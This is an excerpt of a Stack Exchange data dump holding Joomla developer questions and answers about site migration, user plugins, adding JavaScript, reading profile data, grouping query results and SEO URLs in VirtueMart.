  <row Id="22753" PostTypeId="1" CreationDate="2018-04-26T15:39:56.600" Score="2" ViewCount="328" Body="&lt;p&gt;I just migrated a Joomla site from live to localhost. Have the front end up and can access the backend without problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Front end wise none of the menu items work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have renamed the live site variable to point to &lt;code&gt;http://localhost/domain&lt;/code&gt;. I also disabled SSL via config and disabled .htaccess files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Permissions have been added for tmp and cache directories where required. Wondering what else I could be missing. Any ideas would be appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Wondering if this could be db or file related, relevant details below&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public $live_site = 'http://localhost/Clients/domain';&#xA;public $log_path = 'F:\\ClientDevEnvs\\htdocs\\Clients\\domain\\logs';&#xA;public $tmp_path = 'F:\\ClientDevEnvs\\htdocs\\Clients\\domain\\tmp';&#xA;Have also edited httpd.conf file to enable and enabled htaccess mod_rewrite.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12487" LastEditorUserId="1629" LastEditDate="2018-04-26T21:00:44.113" LastActivityDate="2018-06-25T22:21:58.647" Title="Joomla Migrating Live Site To Localhost -Navigation Not Working" Tags="|php|sql|joomla3.8|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="22754" PostTypeId="2" ParentId="22750" CreationDate="2018-04-26T19:21:27.417" Score="2" Body="&lt;p&gt;It appears that specific version of Joomla had trouble getting the &lt;code&gt;lang&lt;/code&gt; param. Changing the URL to &lt;a href=&quot;http://example.com/index.php?option=com_content&amp;amp;view=article&amp;amp;id=166&amp;amp;Itemid=140&amp;amp;lang=en&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://example.com/index.php?option=com_content&amp;amp;view=article&amp;amp;id=166&amp;amp;Itemid=140&amp;amp;lang=en&lt;/a&gt; resolved it. Not sure how or why, but it works now.&lt;/p&gt;&#xA;" OwnerUserId="11756" LastActivityDate="2018-04-26T19:21:27.417" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22755" PostTypeId="2" ParentId="22753" CreationDate="2018-04-26T21:20:34.233" Score="1" Body="&lt;p&gt;It's usually best to leave the &lt;code&gt;$live_site&lt;/code&gt; parameter empty. In addition to removing/renaming your &lt;code&gt;.htaccess&lt;/code&gt; file (which you already did), make sure your &lt;code&gt;configuration.php&lt;/code&gt; file has the following settings:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public $live_site = '';&#xA;public $sef_rewrite = '0';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The second line will disable URL rewriting. You can also change this setting under &quot;Configuration&quot; from the Joomla back end.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On a side note, if you use &lt;a href=&quot;https://www.akeebabackup.com/download/akeeba-backup&quot; rel=&quot;nofollow noreferrer&quot;&gt;Akeeba Backup&lt;/a&gt; and &lt;a href=&quot;https://www.akeebabackup.com/products/akeeba-kickstart.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Kickstart&lt;/a&gt; to backup and restore your site, the tool usually takes care of updating all required settings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps.&lt;/p&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2018-04-26T21:20:34.233" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="22756" PostTypeId="2" ParentId="22751" CreationDate="2018-04-27T07:11:57.577" Score="3" Body="&lt;ul&gt;&#xA;&lt;li&gt;Write user plugin which will have the below file structure  &#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;plugins/user/plugins_name/     &#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;plg_add_group.php&lt;/li&gt;&#xA;&lt;li&gt;plg_add_group.xml&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;plg_add_group.xml&#xA;    - Write plugin manifest code here you can refere below link for the same. &lt;a href=&quot;https://docs.joomla.org/J3.x:Creating_a_Plugin_for_Joomla&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/J3.x:Creating_a_Plugin_for_Joomla&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;plg_add_group.php : Write below php code in this file.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;defined('_JEXEC') or die('Unauthorized Access');&#xA;&#xA;class PlgUserTest extends JPlugin&#xA;{ &#xA;  public function onUserAfterSave($data, $isNew, $result, $error)&#xA;  {&#xA;      if($data['com_fields']['do-you-want-to-become-student']==1)&#xA;      {&#xA;       //Note - This code in your case need little bit modification as here I not removed current user group which is register in your case, So if you wanted to add only student group you should be removing all other groups before adding student group.  &#xA;          jimport('joomla.user.helper');&#xA;          JUserHelper::addUserToGroup($data['id'], 3); &#xA;          // 3 Should be your student user group id&#xA;&#xA;      }&#xA;      return true;&#xA;  }&#xA;}&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;  &#xA;  &lt;p&gt;Joomla gives user type of plugin which have onUserBeforeSave() trigger, but this trigger never sends updated/injected data to save method of user hence we need to use onUserAfterSave() trigger to update group of user after it saves, If you see the code we have called addGroup method of joomla user helper to add group if User choose Yes in registration form   'Do you want to become Student field'. &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$data['com_fields']['do-you-want-to-become-student'] &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This line is for getting your Yes/No field value, so the key need to update according to your fields name.&lt;/p&gt;&#xA;" OwnerUserId="9104" LastEditorUserId="9104" LastEditDate="2018-04-27T07:18:06.370" LastActivityDate="2018-04-27T07:18:06.370" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22757" PostTypeId="1" CreationDate="2018-04-27T08:56:40.253" Score="3" ViewCount="460" Body="&lt;p&gt;I need to display the contact information of a contact on an article override (addresse, phone number...).&lt;br&gt;&#xA;I can get the user with : &lt;code&gt;$user = JFactory::getUser();&lt;/code&gt; but how can I get a user contact details?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried using this : &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JTable::addIncludePath(JPATH_ADMINISTRATOR . '/components/com_contact/tables');&#xA;$contact = JTable::getInstance('contact_details');    &#xA;&#xA;echo '&amp;lt;pre&amp;gt;'; print_r($contact); echo '&amp;lt;/pre&amp;gt;';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But it doesn't output anything.&lt;/p&gt;&#xA;" OwnerUserId="36" LastActivityDate="2018-11-04T21:12:07.950" Title="Get contact details from article override" Tags="|joomla-3.x|user|template-override|contact|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22758" PostTypeId="1" AcceptedAnswerId="22759" CreationDate="2018-04-27T10:13:33.623" Score="2" ViewCount="852" Body="&lt;p&gt;I'd like to know the 'currently' correct way to add JavaScript to the head of a page. The &lt;a href=&quot;https://docs.joomla.org/J3.x:Adding_JavaScript_and_CSS_to_the_page&quot; rel=&quot;nofollow noreferrer&quot;&gt;documentation&lt;/a&gt; suggests using &lt;code&gt;$document-&amp;gt;addStyleSheet($url);&lt;/code&gt;, but the &lt;a href=&quot;https://api.joomla.org/cms-3/classes/Joomla.CMS.Document.Document.html#method_addScript&quot; rel=&quot;nofollow noreferrer&quot;&gt;API documentation&lt;/a&gt; says that this method is deprecated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is also the &lt;code&gt;JHTML::_('script','path','options')&lt;/code&gt; method, but the first piece of documentation I referred to says that this is deprecated and was removed in 3, even though it still works.&lt;/p&gt;&#xA;" OwnerUserId="9281" LastActivityDate="2018-04-27T11:06:07.430" Title="What is the correct way to add Javascript as of Joomla 3.x?" Tags="|joomla-3.x|javascript|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22759" PostTypeId="2" ParentId="22758" CreationDate="2018-04-27T11:06:07.430" Score="2" Body="&lt;p&gt;The method itself isn't deprecated, only the format of the function parameters. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Earlier Joomla versions (deprecated):&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$doc-&amp;gt;addScript($url, $mime, $defer, $async)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Later Joomla versions:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$doc-&amp;gt;addScript($url, $options, $attributes)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm not sure what the &lt;code&gt;JHtml&lt;/code&gt; deprecation notice is about but it shouldn't affect what you're trying to do.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So to answer you actual question, the correct way to add Javascript to your site will be as following:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;General:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JFactory::getDocument()-&amp;gt;addScriptDeclaration('&#xA;   alert(1);&#xA;   // more Javascript here&#xA;');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;File:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JFactory::getDocument()-&amp;gt;addScript(&#xA;    JUri::root() . 'templates/MY_TEMPLATE/js/file.js'&#xA;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;If this is for an extension if your own and you're importing a file, I'd suggest using the &lt;code&gt;JHtml&lt;/code&gt; approach, as it will allow users to override the file , along with some other additional perks:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Path to your JS file:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;media/mod_something/js/file.js&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Code:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JHtml::_('script', 'mod_something/file.js', array('version' =&amp;gt; 'auto', 'relative' =&amp;gt; true));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Notice that I'm using &lt;code&gt;'relative' =&amp;gt; true&lt;/code&gt; so the path can be shortened.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2018-04-27T11:06:07.430" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="22760" PostTypeId="2" ParentId="22757" CreationDate="2018-04-27T11:20:43.940" Score="3" Body="&lt;p&gt;You will firstly need to retrieve the user ID like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$id = JFactory::getUser()-&amp;gt;id;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then get the array of profile data, like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$profile = JUserHelper::getProfile($id)-&amp;gt;profile;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can now access any of the data:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo $profile['address1'];&#xA;echo $profile['address2'];&#xA;echo $profile['city'];&#xA;echo $profile['region'];&#xA;echo $profile['country'];&#xA;echo $profile['postal_code'];&#xA;echo $profile['phone'];&#xA;echo $profile['website'];&#xA;echo $profile['favoritebook'];&#xA;echo $profile['aboutme'];&#xA;echo $profile['dob'];&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You need to make sure you're logged in, else you won't be able to get the information:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the full code with a sanity check:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$user = JFactory::getUser();&#xA;&#xA;if (!$user-&amp;gt;guest)&#xA;{&#xA;    $profile = JUserHelper::getProfile($user-&amp;gt;id)-&amp;gt;profile;&#xA;&#xA;    echo $profile['address1'];&#xA;    echo $profile['address2'];&#xA;    echo $profile['city'];&#xA;    echo $profile['region'];&#xA;    echo $profile['country'];&#xA;    echo $profile['postal_code'];&#xA;    echo $profile['phone'];&#xA;    echo $profile['website'];&#xA;    echo $profile['favoritebook'];&#xA;    echo $profile['aboutme'];&#xA;    echo $profile['dob'];&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="168" LastEditorUserId="168" LastEditDate="2018-04-27T12:43:15.010" LastActivityDate="2018-04-27T12:43:15.010" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="22761" PostTypeId="2" ParentId="22743" CreationDate="2018-04-27T13:54:11.547" Score="1" Body="&lt;p&gt;Buttons point to a method in your controller. So create a method inside your thing controller called add and then use a redirect to send it to your correct view/layout.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are using standard Joomla MVC patterns the thing.add should take you to the edit layout of your view with an ID of 0.&lt;/p&gt;&#xA;" OwnerUserId="7730" LastActivityDate="2018-04-27T13:54:11.547" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22762" PostTypeId="2" ParentId="22744" CreationDate="2018-04-27T19:21:25.373" Score="2" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Should I use the admin model on the site?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;That's what I've done in the past. Historically I've used admin models on the site side of things by doing something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$controller-&amp;gt;addModelPath(JPATH_COMPONENT_ADMINISTRATOR . '/models');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;These days the &lt;code&gt;JLoader&lt;/code&gt; supports PSR-4 style namespaces. If I were to build a component from scratch today, that's what I would use. Something along the lines of:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JLoader::registerNamespace('App', JPATH_COMPONENT_SITE, false, false, 'psr4');&#xA;JLoader::registerNamespace('App\\Admin', JPATH_COMPONENT_ADMINISTRATOR, false, false, 'psr4');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I would probably also lean towards keeping shared assets in the &lt;code&gt;site&lt;/code&gt; side of things.&lt;/p&gt;&#xA;" OwnerUserId="7669" LastActivityDate="2018-04-27T19:21:25.373" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="22765" PostTypeId="1" AcceptedAnswerId="22766" CreationDate="2018-04-29T09:03:19.343" Score="1" ViewCount="119" Body="&lt;p&gt;Is there any PHP code which will allow me to NOT submit any empty fields to the database. I have a form with about 200 fields, and a lot of the times many of them are empty.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I not add the empty values to the database? My table &quot;jos_rsform_submission_values&quot; in the database is getting full quickly due to this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be appreciated.&lt;/p&gt;&#xA;" OwnerUserId="9578" LastActivityDate="2018-04-30T01:23:48.453" Title="Don't add empty fields to database after submission?" Tags="|joomla-3.x|php|form|rsform|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="22766" PostTypeId="2" ParentId="22765" CreationDate="2018-04-30T01:23:48.453" Score="2" Body="&lt;p&gt;There's no generic answer to the question because the code that sits between a form submission and a database table varies wildly from application to application. Perhaps more importantly, different applications will react differently if you add code to interfere with the way the data is stored and retrieved.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That being said, if it is mission critical to minimise the volume of your rsform submissions then you could turn off store in database for that form and then write some custom code to catch the submission in the after submission php option - then basically you would loop through your post, sanitize some data, exclude entries that you count as empty, json_encode the data and add to some custom table.  But you're effectively writing a small application from scratch then.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And with that being said, I'm not sure what 'full' means in your question - surely it would be easier to have sufficient storage available.&lt;/p&gt;&#xA;" OwnerUserId="7374" LastActivityDate="2018-04-30T01:23:48.453" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="22768" PostTypeId="1" CreationDate="2018-04-30T09:12:40.697" Score="1" ViewCount="101" Body="&lt;p&gt;I do have a database connection earlier in the script.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$db = JFactory::getDbo();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here's the query code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$albumartistidquery = $db-&amp;gt;getQuery(true);&#xA;&#xA;$albumartistidquery-&amp;gt;select($db-&amp;gt;quoteName(array('artist_id', 'artist_name')));&#xA;$albumartistidquery-&amp;gt;from($db-&amp;gt;quoteName('#__vinylvault_artists'));&#xA;$albumartistidquery-&amp;gt;lookup($db-&amp;gt;quoteName('artist_name'));&#xA;$albumartistidquery-&amp;gt;where($db-&amp;gt;quoteName('artist_id') . ' LIKE '. $db-&amp;gt;quote($releaseartistid));&#xA;&#xA;$db-&amp;gt;setQuery($albumartistidquery);&#xA;&#xA;// Load the results&#xA;$dbalbumartist = $db-&amp;gt;loadResult();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm expecting that &lt;code&gt;$dbalbumartist&lt;/code&gt; should contain the contents of the relevant &lt;code&gt;'artist_name'&lt;/code&gt; field, but when I echo &lt;code&gt;$dbalbumartist&lt;/code&gt; it displays the &lt;code&gt;artist_id&lt;/code&gt; column value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone advise where I've gone wrong and how to fix?&lt;/p&gt;&#xA;" OwnerUserId="12495" LastEditorUserId="12352" LastEditDate="2018-07-23T16:52:23.713" LastActivityDate="2018-08-22T17:01:18.603" Title="Query gives a single value when two columns in SELECT clause" Tags="|joomla-3.x|mysql|jdatabase|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 4.0" />
  <row Id="22769" PostTypeId="1" CreationDate="2018-04-30T11:14:37.137" Score="0" ViewCount="194" Body="&lt;p&gt;When I set my Joomla config &quot;Error reporting&quot; to &quot;none&quot;, I'm still seeing a PHP warning on the front of the site. However, when I set Error reporting&quot; to &quot;System Default&quot; that warning is suppressed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My php.ini is configured so that display errors is &lt;code&gt;off&lt;/code&gt; and error reporting is &lt;code&gt;32759&lt;/code&gt;.  This is the sum of the bitmask values of the following error function constants:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;E_USER_DEPRECATED         16384&lt;br&gt;&#xA;  E_DEPRECATED               8192&lt;br&gt;&#xA;  E_RECOVERABLE_ERROR        4096&lt;br&gt;&#xA;  E_STRICT                   2048&lt;br&gt;&#xA;  E_USER_NOTICE              1024&lt;br&gt;&#xA;  E_USER_WARNING              512&lt;br&gt;&#xA;  E_USER_ERROR                256&lt;br&gt;&#xA;  E_COMPILE_WARNING           128&lt;br&gt;&#xA;  E_COMPILE_ERROR              64&lt;br&gt;&#xA;  E_CORE_WARNING               32&lt;br&gt;&#xA;  E_CORE_ERROR                 16&lt;br&gt;&#xA;  E_PARSE                       4&lt;br&gt;&#xA;  E_WARNING                     2&lt;br&gt;&#xA;  E_ERROR                       1&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The warning in question is: &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&quot;Failed loading XML file, failed to load external entity&quot; using SimpleXML to load a remote XML feed which no longer exists.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Why is Joomla's &quot;Error reporting&quot; to &quot;none&quot; still allowing this warning to be displayed on the front of the site?&lt;/p&gt;&#xA;" OwnerUserId="9281" LastEditorUserId="12352" LastEditDate="2018-05-26T08:04:15.637" LastActivityDate="2018-05-26T08:04:15.637" Title="Display errors set to none still shows warnings" Tags="|error-reporting|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="22770" PostTypeId="1" CreationDate="2018-04-30T13:02:32.083" Score="1" ViewCount="401" Body="&lt;p&gt;In my VirtueMart Configuration under the SEO tab, I've checked &quot;&lt;strong&gt;Use full category tree for product links&lt;/strong&gt;&quot;&#xA;so my products detail page default routing was like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;example.com/cat1/subcat1/subcat2/product1-detail&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, after updating to the VirtuemMart 3.2.14, if I choose &lt;code&gt;product1&lt;/code&gt; to see the product detail page in &lt;code&gt;/cat1&lt;/code&gt;, the product url would be like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;example.com/cat1/product1-detail&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If I choose &lt;code&gt;product1&lt;/code&gt; to see the product detail page in &lt;code&gt;/cat1/subcat1&lt;/code&gt;, the product url would be like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;example.com/cat1/subcat1/product1-detail&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Canonical urls have changed too and are like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;example.com/cat1/product1-detail&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Why has this happened? How can I fix this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using the last version of Joomla and VM 3.2.14&lt;/p&gt;&#xA;" OwnerUserId="8738" LastEditorUserId="12352" LastEditDate="2019-12-23T07:59:47.687" LastActivityDate="2024-01-01T14:02:45.353" Title="Product url problem after updating VirtueMart" Tags="|joomla-3.x|virtuemart|sef|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22771" PostTypeId="1" AcceptedAnswerId="22773" CreationDate="2018-05-01T06:04:56.383" Score="0" ViewCount="1353" Body="&lt;p&gt;I have a db-table called &lt;code&gt;vm_kupon&lt;/code&gt;. It looks a little like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;|id  |uid  |bet  |&#xA;|1   |20   |1    |&#xA;|2   |20   |2    |&#xA;|1   |21   |X    |&#xA;|2   |21   |1    |&#xA;|1   |22   |X    |&#xA;|2   |22   |X    |&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I would like to show these bets, but I would like it to group the rows with the same &lt;code&gt;uid&lt;/code&gt;. Right now I'm doing it like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$db = JFactory::getDbo();&#xA;$query = $db-&amp;gt;getQuery(true);&#xA;$date = Date('j');&#xA;&#xA;$query&#xA;    -&amp;gt;SELECT(array('a.*', 'b.*', 'c.*'))&#xA;    -&amp;gt;FROM($db-&amp;gt;quoteName('vm_kampe', 'a'))&#xA;    -&amp;gt;JOIN('INNER', $db-&amp;gt;quoteName('vm_kuponer', 'b') . ' ON (' . $db-&amp;gt;quoteName('a.id') . ' = ' . $db-&amp;gt;quoteName('b.id') . ')')&#xA;    -&amp;gt;JOIN('INNER', $db-&amp;gt;quoteName('vm_tabel', 'c') . ' ON (' . $db-&amp;gt;quoteName('b.uid') . ' = ' . $db-&amp;gt;quoteName('c.uid') . ')')&#xA;    -&amp;gt;WHERE($db-&amp;gt;quoteName('a.dato') . ' = ' . $db-&amp;gt;quote($date) . ' AND ' . $db-&amp;gt;quoteName('c.liga') . ' = ' . $db-&amp;gt;quote('bs'));&#xA;&#xA;$db-&amp;gt;setQuery($query);&#xA;$results = $db-&amp;gt;loadObjectList();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then I tried adapting the answer to my code, but I'm not that good.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//INSTANTIATE NEW EMPTY ARRAY&#xA;$arr = array();&#xA;&#xA;//LOOP THROUGH RESULTS AND GROUP THEM INTO NEW ARRAY BASED ON UID AS ARRAY KEY&#xA;foreach($results as $row){&#xA;    $arr[$row-&amp;gt;uid][] = $row;&#xA;}&#xA;&#xA;//SORT UIDS ARRAY BASED ON KEY VALUE ASCENDING... so keys are 20, 21, 22, etc...&#xA;ksort($arr);&#xA;&#xA;//LOOP THROUGH NEW ARRAY TO CREATE YOUR DISPLAY&#xA;foreach ($arr as $uidGroup =&amp;gt; $bets){&#xA;    echo &quot;HERE IS THE GROUP YOU ARE CURRENTLY DISPLAYING&amp;lt;br /&amp;gt;&quot;;&#xA;    echo 'Group - '.$uidGroup.'&amp;lt;br /&amp;gt;';&#xA;    foreach($bets as $b){&#xA;        echo '&amp;lt;div class=&quot;dagens_kampe_kupon&quot;&amp;gt;ID: '.$b-&amp;gt;id.' - Bet: '.$b-&amp;gt;bet.'&amp;lt;/div&amp;gt;';&#xA;    }&#xA;};&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12400" LastEditorUserId="7730" LastEditDate="2018-05-10T20:36:35.360" LastActivityDate="2018-06-08T00:47:39.490" Title="Rows with same id in same div" Tags="|joomla-3.x|php|mysql|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22773" PostTypeId="2" ParentId="22771" CreationDate="2018-05-01T22:07:51.707" Score="0" Body="&lt;pre&gt;&lt;code&gt;//MULTIDIMENSIONAL ARRAY OF BETS FROM EXAMPLE&#xA;$results = array(&#xA;    array('id' =&amp;gt;1, 'uid'=&amp;gt; 20, 'bet' =&amp;gt; '1'),&#xA;    array('id' =&amp;gt;2, 'uid'=&amp;gt; 20, 'bet' =&amp;gt; '2'),&#xA;    array('id' =&amp;gt;1, 'uid'=&amp;gt; 21, 'bet' =&amp;gt; 'X'),&#xA;    array('id' =&amp;gt;2, 'uid'=&amp;gt; 21, 'bet' =&amp;gt; '1'),&#xA;    array('id' =&amp;gt;1, 'uid'=&amp;gt; 22, 'bet' =&amp;gt; 'X'),&#xA;    array('id' =&amp;gt;2, 'uid'=&amp;gt; 22, 'bet' =&amp;gt; 'X')&#xA;);&#xA;&#xA;echo 'HERE IS ORIGINAL ARRAY STRUCTURE&amp;lt;br /&amp;gt;';&#xA;echo '&amp;lt;pre&amp;gt;';&#xA;print_r($results);&#xA;echo '&amp;lt;/pre&amp;gt;';&#xA;&#xA;//TEMP ARRAY TO HOLD NEW SORTING&#xA;$arr = array();&#xA;&#xA;//LOOP THROUGH RESULTS ARRAY GROUP THEM INTO NEW ARRAY BASED ON UID AS ARRAY KEY&#xA;foreach($results as $row){&#xA;    $arr[$row['uid']][] = $row;&#xA;}&#xA;&#xA;//SORT ARR ARRAY BASED ON KEY VALUE ASCENDING... so keys are 20, 21, 22, etc...&#xA;ksort($arr);&#xA;&#xA;echo 'HERE IS NEW ARRAY STRUCTURE&amp;lt;br /&amp;gt;';&#xA;//PRINT OUT THE ARR ARRAY SO YOU CAN SEE NEW STRUCTURE&#xA;echo '&amp;lt;pre&amp;gt;';&#xA;print_r($arr);&#xA;echo '&amp;lt;/pre&amp;gt;';&#xA;&#xA;&#xA;//LOOP THROUGH NEW ARRAY TO CREATE YOUR DISPLAY&#xA;foreach ($arr as $uidGroup =&amp;gt; $bets){&#xA;    echo &quot;HERE IS THE GROUP YOU ARE CURRENTLY DISPLAYING&amp;lt;br /&amp;gt;&quot;;&#xA;    echo 'Group - '.$uidGroup.'&amp;lt;br /&amp;gt;';&#xA;    foreach($bets as $b){&#xA;        echo '&amp;lt;div class=&quot;dagens_kampe_kupon&quot;&amp;gt;ID: '.$b['id'].' - Bet: '.$b['bet'].'&amp;lt;/div&amp;gt;';&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You will have to change around the loops here so that everything is working using objects returned from your DB query.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a working example: &lt;a href=&quot;http://phpfiddle.org/main/code/izru-gyzm&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://phpfiddle.org/main/code/izru-gyzm&lt;/a&gt;&#xA;Press F9 to execute the code on that page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should be able to easily adapt this answer to your returned object list.&lt;/p&gt;&#xA;" OwnerUserId="7730" LastEditorUserId="7730" LastEditDate="2018-05-05T17:46:27.000" LastActivityDate="2018-05-05T17:46:27.000" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
